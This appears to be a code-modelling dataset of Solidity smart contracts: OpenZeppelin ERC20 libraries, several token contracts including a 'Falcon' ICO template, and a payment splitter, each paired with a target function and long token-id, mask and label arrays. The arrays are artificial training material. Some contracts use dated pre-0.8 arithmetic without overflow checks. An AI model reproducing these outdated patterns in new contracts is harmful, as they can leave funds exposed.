function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
// File: zeppelin-solidity/contracts/ownership/CanReclaimToken.sol
/**
* @title Contracts that should be able to recover tokens
* @author SylTi
* @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner.
* This will prevent any accidental loss of tokens.
*/
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param token ERC20Basic The address of the token contract
*/
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
// File: zeppelin-solidity/contracts/ownership/HasNoTokens.sol
/**
* @title Contracts that should not own Tokens
* @author Remco Bloemen <remco@2π.com>
* @dev This blocks incoming ERC223 tokens to prevent accidental loss of tokens.
* Should tokens (any ERC20Basic compatible) end up in the contract, it allows the
* owner to reclaim the tokens.
*/
contract HasNoTokens is CanReclaimToken {
/**
* @dev Reject all ERC223 compatible tokens
* @param from_ address The address that is transferring the tokens
* @param value_ uint256 the amount of the specified token
* @param data_ Bytes The data passed from the caller.
*/
function tokenFallback(address from_, uint256 value_, bytes data_) external pure {
from_;
value_;
data_;
revert();
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/CappedToken.sol
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/OWEToken.sol
contract OWEToken is CappedToken, PausableToken, HasNoEther, HasNoTokens {
string public constant name = "OWE Token";
string public constant symbol = "OWE";
uint8 public constant decimals = 18;
uint256 private constant TWO_HUNDRED_AND_FIFTY_MILLION_TOKENS = 250000000000000000000000000;
function OWEToken() public
CappedToken(TWO_HUNDRED_AND_FIFTY_MILLION_TOKENS)
{
}
} | * @dev Transfer all Ether held by the contract to the owner./ | function reclaimEther() external onlyOwner {
assert(owner.send(thisContract.balance));
}
| 479,448 | [
1,
5912,
777,
512,
1136,
15770,
635,
326,
6835,
358,
326,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
283,
14784,
41,
1136,
1435,
3903,
1338,
5541,
288,
203,
565,
1815,
12,
8443,
18,
4661,
12,
2211,
8924,
18,
12296,
10019,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x73B720d949727C6BB702bBda1cF339EcdbD6CFFa/sources/contracts/ERC20InvictusFund.sol | should this be public | function dealInvestment(
uint256 eventId,
address participant,
uint256 counterCurrencyAmount,
uint256 fundTokenAmount,
string memory ticker,
string memory transactionHash
) public onlyPricingOracle{
_mint(participant, fundTokenAmount);
emit InvestmentEvent(eventId, counterCurrencyAmount, fundTokenAmount, ticker, transactionHash, participant, dealingNonce);
}
| 5,578,623 | [
1,
13139,
333,
506,
1071,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
10490,
3605,
395,
475,
12,
203,
3639,
2254,
5034,
26004,
16,
203,
3639,
1758,
14188,
16,
7010,
3639,
2254,
5034,
3895,
7623,
6275,
16,
203,
3639,
2254,
5034,
284,
1074,
1345,
6275,
16,
203,
3639,
533,
3778,
14063,
16,
203,
3639,
533,
3778,
2492,
2310,
203,
3639,
262,
1071,
1338,
52,
1512,
310,
23601,
95,
203,
3639,
389,
81,
474,
12,
2680,
14265,
16,
284,
1074,
1345,
6275,
1769,
203,
3639,
3626,
5454,
395,
475,
1133,
12,
2575,
548,
16,
3895,
7623,
6275,
16,
284,
1074,
1345,
6275,
16,
14063,
16,
2492,
2310,
16,
14188,
16,
21964,
13611,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract Falcon is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function Falcon() {
balances[msg.sender] = 90000000000000000000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)
totalSupply = 90000000000000000000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS)
name = "Falcon"; // Set the name for display purposes (CHANGE THIS)
decimals = 18; // Amount of decimals for display purposes (CHANGE THIS)
symbol = "FALC"; // Set the symbol for display purposes (CHANGE THIS)
unitsOneEthCanBuy = 20000000; // Set the price of your token for the ICO (CHANGE THIS)
fundsWallet = msg.sender; // The owner of the contract gets ETH
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | Set the symbol for display purposes (CHANGE THIS)
| symbol = "FALC"; | 1,614,903 | [
1,
694,
326,
3273,
364,
2562,
13694,
261,
14473,
20676,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
3273,
273,
315,
42,
1013,
39,
14432,
4766,
2868,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*/
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor (address[] memory payees, uint256[] memory shares_) payable {
// solhint-disable-next-line max-line-length
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive () external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
